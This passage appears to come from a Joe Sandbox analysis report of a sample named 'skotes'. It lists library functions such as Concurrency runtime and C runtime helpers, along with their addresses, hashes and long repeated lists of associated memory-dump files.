Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 1cbeebae38aacf42371ca94c661953aabb65d32bf7cfc984aff535d6fbe54adf
Instruction ID: c4fe0702a285d5e9b241306ae751d19fb496f8209f037e3560b09ace7af323cd
Opcode Fuzzy Hash: 1cbeebae38aacf42371ca94c661953aabb65d32bf7cfc984aff535d6fbe54adf
Instruction Fuzzy Hash: 4411083A651214E7DB28FBA4CD8AFEF77796F00710F244219B505A61C1EF709E84C6A9

Function 0061A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0061A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0061A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061A139

Strings

pScheduler, xrefs: 0061A131

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction ID: a910804b22d07dd8a20e23594c659306301023bc4d85923d353ed36dc0f44ed6
Opcode Fuzzy Hash: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction Fuzzy Hash: 16F0E936A00614F7C764FB94DC83CDEB37B9E90724B18812DE40657281DB71AA86C696

Function 006367A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00636902
__alloca_probe_16.LIBCMT ref: 00636998
__freea.LIBCMT ref: 00636A03
__freea.LIBCMT ref: 00636A0F

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: a58635e9ce29b28232efce97344c54f451910e99fcc33d7fe8b0759e357946ce
Instruction ID: c33d6b4d99bf316f7d004c07b00d70255e1c110a3ae43d227cb82b2d18e355de
Opcode Fuzzy Hash: a58635e9ce29b28232efce97344c54f451910e99fcc33d7fe8b0759e357946ce
Instruction Fuzzy Hash: 0E81AF72D0025ABADF219FA5C881AEE7BB7DF09714F19C159F801BB281E631CC418BE0

Function 0062504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00625115
___AdjustPointer.LIBCMT ref: 00625138
___AdjustPointer.LIBCMT ref: 006251D4

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction ID: d52c7b98d017ae3dfd769d947d36d19ef42ff3f0f782f6e927d96f90747dbabc
Opcode Fuzzy Hash: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction Fuzzy Hash: 9251C171A01E26AFEB399F14E849BBA73A7EF10300F14452DE8038B295E731AD51CF91

Function 00624C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00624C66
TypeidsEqual.LIBVCRUNTIME ref: 00624C8B
PMDtoOffset.LIBCMT ref: 00624CA1
PMDtoOffset.LIBCMT ref: 00624D22

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 8ff0b57b19701b412e35e2d6b2f503fb932ba25e42015cf3da2e684f3fafa985
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 4D51BE35A04A299FCF11CF68E4806EEBBF6EF15354F14489AE850AB351DB32AD05CF50

Function 0061DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061DB64

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0061DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0061DBE9
Concurrency::location::_Assign.LIBCMT ref: 0061DC56

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
